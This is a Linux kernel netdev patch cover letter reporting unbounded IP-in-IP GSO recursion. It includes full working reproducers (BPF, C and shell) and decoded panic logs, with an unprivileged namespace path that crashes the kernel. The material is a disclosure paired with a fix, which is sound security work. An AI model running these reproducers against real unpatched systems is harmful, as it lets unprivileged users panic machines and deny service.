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From: Zihan Xi <zihanx@nebusec.ai>
To: netdev@vger.kernel.org
Cc: zihanx@nebusec.ai, davem@davemloft.net, edumazet@google.com,
	kuba@kernel.org, pabeni@redhat.com, horms@kernel.org,
	steffen.klassert@secunet.com, herbert@gondor.apana.org.au,
	dsahern@kernel.org, idosch@nvidia.com, willemb@google.com,
	kuniyu@google.com, kees@kernel.org, richardbgobert@gmail.com,
	alice.kernel@fastmail.im, gal@nvidia.com,
	jibin.zhang@mediatek.com, luoxuanqiang@kylinos.cn,
	linux-kernel@vger.kernel.org
Subject: [PATCH net v3 0/1] net: gso: limit recursive IP-in-IP segmentation
Date: Sat, 19 Sep 2026 11:14:39 +0000	[thread overview]
Message-ID: <cover.1789802623.git.zihanx@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated an issue in net/core/gso.c. The affected paths are
skb_mac_gso_segment(), inet_gso_segment(), and ipv6_gso_segment(); nested
IP-in-IP GSO has no bound on callback nesting. The bug is reachable by a
non-root user through private user and network namespaces. The BPF/veth
reproducer needs root in the initial user namespace; the namespace-only
reproducer starts as UID 65534. The change is expected not to affect other
functionality; v3 validation covered IPv4 BPF/veth and namespace-only paths
on x86_64. IPv6 was compile-checked, but no separate IPv6 runtime test was
run.

Changes in v3:
  - Treat an exhausted 256-byte budget as a callback-entry failure, including
    the zero-length check used by the common callback wrapper and IP handlers.
  - v2 Link: https://lore.kernel.org/all/cover.1789618203.git.zihanx@nebusec.ai/

Changes in v2:
  - Replace the callback counter with a cumulative 256-byte header budget
    carried in skb_gso_cb.
  - Apply the budget at common callback entry and across IP, GRE, UDP,
    MPLS, NSH, ESP, and IPv6 extension dispatch, including GRE/UDP
    context resets.
  - Rebase the UDP hunk onto selected revision c9151088f167 and rerun both
    IPv4 PoCs; use the decoded crash evidence from unpatched 88c17de85ddb.
  - v1 Link: https://lore.kernel.org/all/cover.1789302084.git.zihanx@nebusec.ai/

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
The detailed bug information, PoC, and decoded crash output are
included below.

---- details below ----

Bug details:

An IP-in-IP GSO packet reaches skb_mac_gso_segment() and re-enters the
IPv4 or IPv6 GSO handler for each nested IP header. The encap_level
only records header bytes; it does not bound callback depth. A deep
chain can exhaust the kernel stack before a transport GSO callback is
reached.

The fix initializes gso_header_len in skb_gso_cb for each top-level GSO
operation and charges header bytes before inner dispatch. The common
callback wrapper checks the same state, so direct IP re-entry and nested
tunnel callbacks share one monotonic budget. GRE and UDP encap_level
resets cannot restart it.

GSO_MAX_HEADER is a practical 256-byte header budget, not a measured
stack-overflow threshold or an architecture-independent stack-safety proof.
With no initial offset, 12 minimum-sized IPv4 headers use 240 bytes and the
next header is rejected. IPv6, extension, and tunnel headers use the budget
faster. The fixed x86_64 run completed without a stack-guard fault, but it
does not establish a uniform margin for architectures with smaller stacks.

The IPv4 stackable re-entry mechanism was introduced by
3347c9602955 ("ipv4: gso: make inet_gso_segment() stackable").
68c331631143 ("v4 GRE: Add TCP segmentation offload for GRE") predates it,
and cb32f511a70b ("ipip: add GSO/TSO support") later expanded the reachable
IP-in-IP path. The IPv6 stackable path was introduced separately by
d3e5e0062de5 ("ipv6: gso: make ipv6_gso_segment() stackable"). Fixes points
to 3347c9602955 for the IPv4 root cause.

Reproducer:

BPF/veth path (run as root in the initial user namespace):

    make clean all
    ./poc.sh

The checked-in Makefile builds poc and tc_mutate.bpf.o. With KDIR
unset, the BPF command is:

    clang -O2 -g -target bpf -D__TARGET_ARCH_x86 -Wall -Wextra \
        -I/usr/include/x86_64-linux-gnu \
        -DINSERTED_IPS=199 -DTRIGGER_PORT=4242 \
        -c tc_mutate.bpf.c -o tc_mutate.bpf.o

Runtime needs gcc, clang, iproute2, ethtool, and perl. With no Python 3,
poc.sh used this actual Perl fallback:

    ip netns exec "$NS" "$DIR/net-server-perl.sh" &

The namespace-only path attempted these setup commands:

    apt-get install -y ethtool
    cc -O2 -static -g -Wall -Wextra -o poc_privilege_optimized poc_privilege_optimized.c

The guest apt mirror was unavailable, so the final run copied the host
`/usr/sbin/ethtool` and these runtime files into
`/usr/local/lib/ethtool-host/`:

    /lib/x86_64-linux-gnu/libmnl.so.0
    /lib/x86_64-linux-gnu/libm.so.6
    /lib/x86_64-linux-gnu/libc.so.6
    /lib64/ld-linux-x86-64.so.2

The wrapper was copied from `verify/ethtool-host-wrapper-public.sh`. Omitting
only the test harness's SSH identity, port, and host-key options, the copy
and install commands were:

    ssh root@127.0.0.1 'mkdir -p /usr/local/lib/ethtool-host'
    scp /usr/sbin/ethtool /lib/x86_64-linux-gnu/libmnl.so.0 \
        /lib/x86_64-linux-gnu/libm.so.6 /lib/x86_64-linux-gnu/libc.so.6 \
        /lib64/ld-linux-x86-64.so.2 \
        root@127.0.0.1:/usr/local/lib/ethtool-host/
    scp verify/ethtool-host-wrapper-public.sh \
        root@127.0.0.1:/usr/local/lib/ethtool-host/ethtool-wrapper
    ssh root@127.0.0.1 \
        'chmod 755 /usr/local/lib/ethtool-host/ethtool-wrapper; \
         ln -sf /usr/local/lib/ethtool-host/ethtool-wrapper /usr/sbin/ethtool'

The run then launched the trigger as UID 65534 with:

    su -s /bin/sh nobody -c 'cd /tmp/q7x-ns && exec ./poc_privilege_optimized.sh 180 1400'

The private user namespace maps it to UID 0. Packetdrill is not used
because the trigger needs network namespaces, IPIP devices, tc egress BPF
header insertion, and UDP_SEGMENT control data, which cannot be expressed
as a packetdrill packet sequence.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

The v3 fixed kernel build using
43510074c063f57e5738ecc55057e7fbbcdb1fbc returned BUILD_RC=0. The fixed
BPF/veth run used the Perl fallback, sent 65536 bytes, and returned
REMOTE_RC=0 and DMESG_RC=0. The fixed namespace-only run was launched as
UID 65534 with depth 180 and gso_size 1400; it sent a 3676-byte payload,
returned 3676 from sendmsg(), and returned REMOTE_RC=0 and DMESG_RC=0.
Neither fixed run showed a crash marker.

REMOTE_RC=0 means normal completion. REMOTE_RC=124 means the host-side
timeout expired. The unpatched runs returned REMOTE_RC=255 (and
DMESG_RC=255 for BPF) after the guest became unreachable; these are
wrapper statuses, not kernel
error codes.

------BEGIN Makefile------
CC ?= gcc
CLANG ?= clang
KDIR ?=
BPF_CFLAGS ?= -O2 -g -target bpf -D__TARGET_ARCH_x86 -Wall -Wextra -I/usr/include/x86_64-linux-gnu $(if $(KDIR),-I$(KDIR)/tools/lib/bpf)
CFLAGS ?= -O2 -Wall -Wextra
INSERTED_IPS ?= 199
TRIGGER_PORT ?= 4242

all: poc tc_mutate.bpf.o

poc: poc.c
	$(CC) $(CFLAGS) -o $@ $<

tc_mutate.bpf.o: tc_mutate.bpf.c
	$(CLANG) $(BPF_CFLAGS) -DINSERTED_IPS=$(INSERTED_IPS) -DTRIGGER_PORT=$(TRIGGER_PORT) -c -o $@ $<

clean:
	rm -f poc tc_mutate.bpf.o
------END Makefile--------

------BEGIN net-server-perl.sh------
#!/bin/sh
exec perl -MIO::Socket::INET -e 'my $s = IO::Socket::INET->new(LocalAddr => "198.18.0.2", LocalPort => 4242, Listen => 1, ReuseAddr => 1) or die "server: $!\n"; my $c = $s->accept() or die "accept: $!\n"; my $buf; while (read($c, $buf, 65536)) {}'------END net-server-perl.sh--------

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

static void usage(const char *prog)
{
	fprintf(stderr, "Usage: %s <ip> <port> <bytes>\n", prog);
}

int main(int argc, char **argv)
{
	struct sockaddr_in addr;
	char *buf;
	unsigned long port;
	unsigned long total;
	size_t off = 0;
	int one = 1;
	int fd;

	if (argc != 4) {
		usage(argv[0]);
		return 1;
	}

	port = strtoul(argv[2], NULL, 0);
	total = strtoul(argv[3], NULL, 0);
	if (port > 65535 || total == 0) {
		fprintf(stderr, "invalid port or byte count\n");
		return 1;
	}

	buf = malloc(total);
	if (!buf) {
		perror("malloc");
		return 1;
	}
	for (off = 0; off < total; off++)
		buf[off] = 'A' + (off % 23);

	fd = socket(AF_INET, SOCK_STREAM, 0);
	if (fd < 0) {
		perror("socket");
		free(buf);
		return 1;
	}

	if (setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) {
		perror("setsockopt(TCP_NODELAY)");
		close(fd);
		free(buf);
		return 1;
	}

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons((uint16_t)port);
	if (inet_pton(AF_INET, argv[1], &addr.sin_addr) != 1) {
		fprintf(stderr, "invalid IPv4 address\n");
		close(fd);
		free(buf);
		return 1;
	}

	if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		perror("connect");
		close(fd);
		free(buf);
		return 1;
	}

	off = 0;
	while (off < total) {
		ssize_t n = send(fd, buf + off, total - off, 0);

		if (n < 0) {
			perror("send");
			close(fd);
			free(buf);
			return 1;
		}
		off += (size_t)n;
	}

	fprintf(stderr, "sent %lu bytes to %s:%lu\n", total, argv[1], port);
	close(fd);
	free(buf);
	return 0;
}
------END poc.c--------

------BEGIN poc.sh------
#!/bin/sh
set -eu

DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)

NS=${NS:-q7xns}
OUTER_DEV0=${OUTER_DEV0:-q7xveth0}
OUTER_DEV1=${OUTER_DEV1:-q7xveth1}
OUTER0=${OUTER0:-10.10.0.1/24}
OUTER1=${OUTER1:-10.10.0.2/24}
OUTER0_IP=${OUTER0_IP:-10.10.0.1}
OUTER1_IP=${OUTER1_IP:-10.10.0.2}
TUN0=${TUN0:-q7xipip0}
TUN1=${TUN1:-q7xipip1}
INNER0_IP=${INNER0_IP:-198.18.0.1}
INNER1_IP=${INNER1_IP:-198.18.0.2}
TARGET_IP=${TARGET_IP:-198.18.0.2}
PORT=${PORT:-4242}
SEND_BYTES=${SEND_BYTES:-65536}
SERVER_PIDFILE=/tmp/q7x-server.pid

cleanup() {
	tc qdisc del dev "$OUTER_DEV0" clsact 2>/dev/null || true
	ip link del "$TUN0" 2>/dev/null || true
	ip netns del "$NS" 2>/dev/null || true
	ip link del "$OUTER_DEV0" 2>/dev/null || true
	rm -f "$SERVER_PIDFILE"
}

trap cleanup EXIT

gcc -O2 -Wall -Wextra -o "$DIR/poc" "$DIR/poc.c"
if [ ! -f "$DIR/tc_mutate.bpf.o" ]; then
	echo "missing tc_mutate.bpf.o; build it on the host with: make -C $DIR" >&2
	exit 1
fi

cleanup

ip netns add "$NS"
ip link add "$OUTER_DEV0" type veth peer name "$OUTER_DEV1"
ip link set "$OUTER_DEV1" netns "$NS"

ip addr add "$OUTER0" dev "$OUTER_DEV0"
ip link set "$OUTER_DEV0" up
ip netns exec "$NS" ip addr add "$OUTER1" dev "$OUTER_DEV1"
ip netns exec "$NS" ip link set lo up
ip netns exec "$NS" ip link set "$OUTER_DEV1" up

ethtool -K "$OUTER_DEV0" tso off gso off gro off sg off >/dev/null 2>&1 || true

ip link add "$TUN0" type ipip local "$OUTER0_IP" remote "$OUTER1_IP" dev "$OUTER_DEV0"
ip addr add "$INNER0_IP" peer "$INNER1_IP" dev "$TUN0"
ip link set "$TUN0" up

ip netns exec "$NS" ip link add "$TUN1" type ipip local "$OUTER1_IP" remote "$OUTER0_IP" dev "$OUTER_DEV1"
ip netns exec "$NS" ip addr add "$INNER1_IP" peer "$INNER0_IP" dev "$TUN1"
ip netns exec "$NS" ip link set "$TUN1" up

tc qdisc add dev "$OUTER_DEV0" clsact
tc filter add dev "$OUTER_DEV0" egress bpf da obj "$DIR/tc_mutate.bpf.o" sec tc

if command -v python3 >/dev/null 2>&1; then
    ip netns exec "$NS" python3 - <<'PY' &
import socket
import sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("198.18.0.2", 4242))
s.listen(1)
conn, _ = s.accept()
while conn.recv(65535):
    pass
PY
else
    echo "using Perl listener: $DIR/net-server-perl.sh" >&2
    ip netns exec "$NS" "$DIR/net-server-perl.sh" &
fi
echo $! > "$SERVER_PIDFILE"
sleep 1

"$DIR/poc" "$TARGET_IP" "$PORT" "$SEND_BYTES"
sleep 2
------END poc.sh--------

------BEGIN tc_mutate.bpf.c------
#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/pkt_cls.h>
#include <linux/tcp.h>
#include <stddef.h>

#ifndef INSERTED_IPS
#define INSERTED_IPS 199
#endif

#ifndef TRIGGER_PORT
#define TRIGGER_PORT 4242
#endif

#ifndef IP_DF
#define IP_DF 0x4000
#endif

#ifndef IPPROTO_IPIP
#define IPPROTO_IPIP 4
#endif

#ifndef IPPROTO_TCP
#define IPPROTO_TCP 6
#endif

#define SEC(NAME) __attribute__((section(NAME), used))
#define bpf_htons(x) ((__be16)__builtin_bswap16((__u16)(x)))
#define bpf_ntohs(x) ((__u16)__builtin_bswap16((__u16)(x)))
#define bpf_htonl(x) ((__be32)__builtin_bswap32((__u32)(x)))

#define INSERTED_LEN (INSERTED_IPS * (__u32)sizeof(struct iphdr))

static long (*bpf_skb_load_bytes)(struct __sk_buff *skb, __u32 off,
				  void *to, __u32 len) =
	(void *)BPF_FUNC_skb_load_bytes;
static long (*bpf_skb_adjust_room)(struct __sk_buff *skb, __s32 len_diff,
				   __u32 mode, __u64 flags) =
	(void *)BPF_FUNC_skb_adjust_room;
static long (*bpf_skb_store_bytes)(struct __sk_buff *skb, __u32 off,
				   const void *from, __u32 len,
				   __u64 flags) =
	(void *)BPF_FUNC_skb_store_bytes;
static long (*bpf_l3_csum_replace)(struct __sk_buff *skb, __u32 off,
				   __u64 from, __u64 to, __u64 size) =
	(void *)BPF_FUNC_l3_csum_replace;

static __always_inline int load_bytes(struct __sk_buff *skb, __u32 off,
				      void *dst, __u32 len)
{
	return bpf_skb_load_bytes(skb, off, dst, len);
}

SEC("tc")
int mutate_gso_chain(struct __sk_buff *skb)
{
	struct iphdr outer;
	struct iphdr inner;
	struct tcphdr th;
	__u32 off = sizeof(struct ethhdr);
	__u32 ins_off = off + sizeof(struct iphdr);
	__u16 new_tot;
	int i;

	if (skb->protocol != bpf_htons(ETH_P_IP))
		return TC_ACT_OK;
	if (skb->len < 2000)
		return TC_ACT_OK;
	if (load_bytes(skb, off, &outer, sizeof(outer)) < 0)
		return TC_ACT_OK;
	if (outer.version != 4 || outer.ihl != 5 || outer.protocol != IPPROTO_IPIP)
		return TC_ACT_OK;
	if (load_bytes(skb, ins_off, &inner, sizeof(inner)) < 0)
		return TC_ACT_OK;
	if (inner.version != 4 || inner.ihl != 5 || inner.protocol != IPPROTO_TCP)
		return TC_ACT_OK;
	if (load_bytes(skb, ins_off + sizeof(inner), &th, sizeof(th)) < 0)
		return TC_ACT_OK;
	if (th.dest != bpf_htons(TRIGGER_PORT))
		return TC_ACT_OK;
	if (bpf_skb_adjust_room(skb, INSERTED_LEN, BPF_ADJ_ROOM_NET,
				BPF_F_ADJ_ROOM_FIXED_GSO |
				BPF_F_ADJ_ROOM_NO_CSUM_RESET) < 0)
		return TC_ACT_SHOT;

	new_tot = bpf_htons(bpf_ntohs(outer.tot_len) + INSERTED_LEN);
	bpf_l3_csum_replace(skb, off + offsetof(struct iphdr, check),
			    outer.tot_len, new_tot, sizeof(new_tot));
	bpf_skb_store_bytes(skb, off + offsetof(struct iphdr, tot_len),
			    &new_tot, sizeof(new_tot), 0);

	for (i = 0; i < INSERTED_IPS; i++) {
		struct iphdr iph = {};

		iph.version = 4;
		iph.ihl = 5;
		iph.ttl = 64;
		iph.protocol = IPPROTO_IPIP;
		iph.frag_off = bpf_htons(IP_DF);
		iph.id = bpf_htons((__u16)(i + 1));
		iph.saddr = bpf_htonl(0x0a010001u + (__u32)i);
		iph.daddr = bpf_htonl(0x0a020001u + (__u32)i);

		if (bpf_skb_store_bytes(skb,
					ins_off + ((__u32)i * sizeof(struct iphdr)),
					&iph, sizeof(iph), 0) < 0)
			return TC_ACT_SHOT;
	}

	return TC_ACT_OK;
}

char _license[] SEC("license") = "GPL";
------END tc_mutate.bpf.c--------

------BEGIN poc_privilege_optimized.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/udp.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef UDP_SEGMENT
#define UDP_SEGMENT 103
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif

struct ipv4_min {
	uint8_t version_ihl;
	uint8_t tos;
	uint16_t tot_len;
	uint16_t id;
	uint16_t frag_off;
	uint8_t ttl;
	uint8_t protocol;
	uint16_t check;
	uint32_t saddr;
	uint32_t daddr;
} __attribute__((packed));

static void fill_ipip(struct ipv4_min *iph, unsigned int id, uint8_t protocol)
{
	memset(iph, 0, sizeof(*iph));
	iph->version_ihl = 0x45;
	iph->tot_len = htons(sizeof(*iph)); /* parser does not use this field */
	iph->id = htons((uint16_t)id);
	iph->ttl = 64;
	iph->protocol = protocol;
	iph->saddr = htonl(0x0a000001U);
	iph->daddr = htonl(0x0a000002U);
}

int main(int argc, char **argv)
{
	struct sockaddr_in bind_addr = { .sin_family = AF_INET };
	struct sockaddr_in dst = { .sin_family = AF_INET };
	struct msghdr msg = {0};
	struct iovec iov;
	unsigned char control[CMSG_SPACE(sizeof(uint16_t))];
	struct cmsghdr *cm;
	unsigned char *payload;
	unsigned int depth, segsz, payload_len, i;
	ssize_t ret;
	int fd;

	if (argc != 5) {
		fprintf(stderr, "usage: %s DEST PORT DEPTH GSO_SIZE\n", argv[0]);
		return 2;
	}
	depth = strtoul(argv[3], NULL, 0);
	segsz = strtoul(argv[4], NULL, 0);
	if (depth < 1 || depth > 3000 || segsz < 1 || segsz > 65535) {
		fprintf(stderr, "invalid depth or GSO size\n");
		return 2;
	}

	/*
	 * After tc changes the original inner IPv4 protocol UDP -> IPIP,
	 * the 8-byte UDP header and payload[0..11] are parsed as an IPv4
	 * header.  Source port 0x4500 supplies version=4, IHL=5.  payload[1]
	 * supplies protocol=IPIP.  The explicit headers start at payload+12.
	 */
	payload_len = 12 + depth * sizeof(struct ipv4_min) + 64;
	if (payload_len > 65507) {
		fprintf(stderr, "payload too large: %u\n", payload_len);
		return 2;
	}
	payload = calloc(1, payload_len);
	if (!payload) {
		perror("calloc");
		return 1;
	}
	payload[0] = 64;
	payload[1] = IPPROTO_IPIP;
	for (i = 0; i < depth; i++)
		fill_ipip((struct ipv4_min *)(payload + 12 + i * 20), i,
			  i + 1 == depth ? IPPROTO_UDP : IPPROTO_IPIP);

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0) {
		perror("socket");
		return 1;
	}
	bind_addr.sin_port = htons(0x4500);
	bind_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	if (bind(fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0) {
		perror("bind(0x4500)");
		return 1;
	}
	if (inet_pton(AF_INET, argv[1], &dst.sin_addr) != 1) {
		fprintf(stderr, "bad destination\n");
		return 2;
	}
	dst.sin_port = htons((uint16_t)strtoul(argv[2], NULL, 0));

	iov.iov_base = payload;
	iov.iov_len = payload_len;
	msg.msg_name = &dst;
	msg.msg_namelen = sizeof(dst);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = control;
	msg.msg_controllen = sizeof(control);
	memset(control, 0, sizeof(control));
	cm = CMSG_FIRSTHDR(&msg);
	cm->cmsg_level = SOL_UDP;
	cm->cmsg_type = UDP_SEGMENT;
	cm->cmsg_len = CMSG_LEN(sizeof(uint16_t));
	*(uint16_t *)CMSG_DATA(cm) = (uint16_t)segsz;

	fprintf(stderr, "uid=%u euid=%u send UDP_SEGMENT payload=%u depth=%u gso_size=%u source_port=0x4500\n",
		(unsigned)getuid(), (unsigned)geteuid(), payload_len, depth, segsz);
	ret = sendmsg(fd, &msg, 0);
	if (ret < 0) {
		fprintf(stderr, "sendmsg: %s (%d)\n", strerror(errno), errno);
		return 1;
	}
	fprintf(stderr, "sendmsg returned %zd\n", ret);
	close(fd);
	free(payload);
	return ret == (ssize_t)payload_len ? 0 : 1;
}
------END poc_privilege_optimized.c--------

------BEGIN poc_privilege_optimized.sh------
#!/bin/sh
set -eu

PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH

DEPTH=${1:-180}
GSO_SIZE=${2:-4096}

echo "launcher uid=$(id -u) gid=$(id -g)"
echo "status before unshare: $(awk '/^Uid:|^Gid:|^Cap/ {printf "%s ", $0}' /proc/self/status)"

exec unshare --user --map-root-user --net sh -eu -c '
	echo "inside uid=$(id -u) gid=$(id -g)"
	echo "uid_map: $(tr "\n" ";" </proc/self/uid_map)"
	echo "gid_map: $(tr "\n" ";" </proc/self/gid_map)"
	echo "status: $(awk '\''/^Uid:|^Gid:|^Cap/ {printf "%s ", $0}'\'' /proc/self/status)"

	ip link add q7dummy type dummy
	ip addr add 10.23.0.1/32 dev q7dummy
	ip link set q7dummy up
	ip route add 10.23.0.2/32 dev q7dummy

	ip link add q7tun type ipip local 10.23.0.1 remote 10.23.0.2 dev q7dummy
	ip addr add 198.18.7.1 peer 198.18.7.2 dev q7tun
	ip link set q7tun up

	# Make segmentation happen in software after the egress action.  Offset 29
	# is the protocol byte of the original inner IPv4 header (20 + 9).
	ethtool -K q7dummy tso off gso off gro off sg off \
		tx-ipxip4-segmentation off tx-udp-segmentation off
	tc qdisc add dev q7dummy clsact
	tc filter add dev q7dummy egress protocol ip pref 1 matchall \
		action pedit munge offset 29 u8 set 4

	./poc_privilege_optimized 198.18.7.2 9000 "$1" "$2"
' sh "$DEPTH" "$GSO_SIZE"
------END poc_privilege_optimized.sh--------


The crash log excerpts below are copied from the unpatched namespace-only
and BPF/veth runs on 88c17de85ddb. Both were decoded with
scripts/decode_stacktrace.sh using the matching unpatched vmlinux;
each label identifies the corresponding run.

----BEGIN crash log----
[namespace-only, UID 65534, unpatched 88c17de85ddb]
[   11.336820] BUG: TASK stack guard page was hit at ffff9ab440aebff8 (stack is ffff9ab440aec000..ffff9ab440af0000)
[   11.336823] Oops: stack guard page: 0000 [#1] SMP NOPTI
[   11.336825] CPU: 0 UID: 65534 PID: 403 Comm: poc_privilege_o Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy) 
[   11.336826] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   11.336827] RIP: 0010:skb_copy_bits (net/core/skbuff.c:3061)
[   11.336869] Call Trace:
[   11.336882]  <TASK>
[   11.336884]  __pskb_pull_tail (net/core/skbuff.c:2892 (discriminator 2))
[   11.336885]  ? skb_copy_bits (net/core/skbuff.c:3061)
[   11.336886]  inet_gso_segment (include/linux/skbuff.h:2873 (discriminator 1) include/linux/skbuff.h:2882 (discriminator 1) net/ipv4/af_inet.c:1379 (discriminator 1))
[   11.336889]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336891]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336892]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336893]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336894]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336896]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336897]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336898]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336899]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336901]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336902]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.336903]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   11.337200] Kernel panic - not syncing: Fatal exception in interrupt

[BPF/veth, unpatched 88c17de85ddb]
[   18.344957] BUG: TASK stack guard page was hit at ffff9d2180bb3fe8 (stack is ffff9d2180bb4000..ffff9d2180bb8000)
[   18.344962] Oops: stack guard page: 0000 [#1] SMP NOPTI
[   18.344964] CPU: 1 UID: 0 PID: 433 Comm: poc Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy) 
[   18.344966] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   18.344967] RIP: 0010:inet_gso_segment (net/ipv4/af_inet.c:1404 (discriminator 1))
[   18.345011] CR2: ffff9d2180bb3fe8 CR3: 000000000dcd8003 CR4: 0000000000370ef0
[   18.345012] Call Trace:
[   18.345035]  <TASK>
[   18.345036]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345039]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345040]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345042]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345043]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345045]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345047]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345048]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345050]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345051]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345053]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345054]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345056]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345057]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345059]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345060]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345281]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345282]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345284]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345285]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345287]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345288]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345290]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345291]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345293]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345295]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345296]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345298]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345299]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345301]  inet_gso_segment (net/ipv4/af_inet.c:1411)
[   18.345302]  skb_mac_gso_segment (net/core/gso.c:53)
[   18.345305]  __skb_gso_segment (net/core/gso.c:124)
[   18.345306]  validate_xmit_skb.isra.0 (include/net/gso.h:83 net/core/dev.c:4044)
[   18.345309]  __dev_queue_xmit (net/core/dev.c:4865)
[   18.345312]  ip_finish_output2 (include/linux/netdevice.h:3446 include/net/neighbour.h:544 include/net/neighbour.h:558 net/ipv4/ip_output.c:236)
[   18.345315]  ip_output (net/ipv4/ip_output.c:443 net/ipv4/ip_output.c:324 include/linux/netfilter.h:307 net/ipv4/ip_output.c:437)
[   18.345317]  ? __pfx_ip_finish_output (include/net/dst.h:470 (discriminator 7))
[   18.345318]  iptunnel_xmit (net/ipv4/ip_tunnel_core.c:97)
[   18.345321]  ip_tunnel_xmit (net/ipv4/ip_tunnel.c:848)
[   18.345323]  ipip_tunnel_xmit (net/ipv4/ipip.c:316)
[   18.345325]  dev_hard_start_xmit (include/linux/netdevice.h:5400 include/linux/netdevice.h:5409 net/core/dev.c:3889 net/core/dev.c:3905)
[   18.345326]  ? validate_xmit_skb.isra.0 (net/core/dev.c:4067)
[   18.345328]  __dev_queue_xmit (net/core/dev.c:4878)
[   18.345375] Kernel panic - not syncing: Fatal exception in interrupt
[   18.346542] Kernel Offset: 0x38800000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[   19.982144] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]---
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  net: gso: limit recursive IP-in-IP segmentation

 include/net/gso.h       | 29 +++++++++++++++++++++++++++++
 net/core/gso.c          |  7 +++++--
 net/ipv4/af_inet.c      |  7 ++++++-
 net/ipv4/esp4_offload.c |  9 +++++++--
 net/ipv4/gre_offload.c  |  2 ++
 net/ipv4/udp_offload.c  |  4 +++-
 net/ipv6/esp6_offload.c |  9 +++++++--
 net/ipv6/ip6_offload.c  | 11 ++++++++++-
 net/mpls/mpls_gso.c     |  2 ++
 net/nsh/nsh.c           |  2 ++
 10 files changed, 73 insertions(+), 9 deletions(-)

-- 
2.55.0.windows.3

             reply	other threads:[~2026-09-19 11:14 UTC|newest]

Thread overview: 4+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-09-19 11:14 Zihan Xi [this message]
2026-09-19 11:14 ` [PATCH net v3 1/1] net: gso: limit recursive IP-in-IP segmentation Zihan Xi
2026-09-21  4:29   ` Wang Zhan
2026-09-22  1:23   ` Willem de Bruijn

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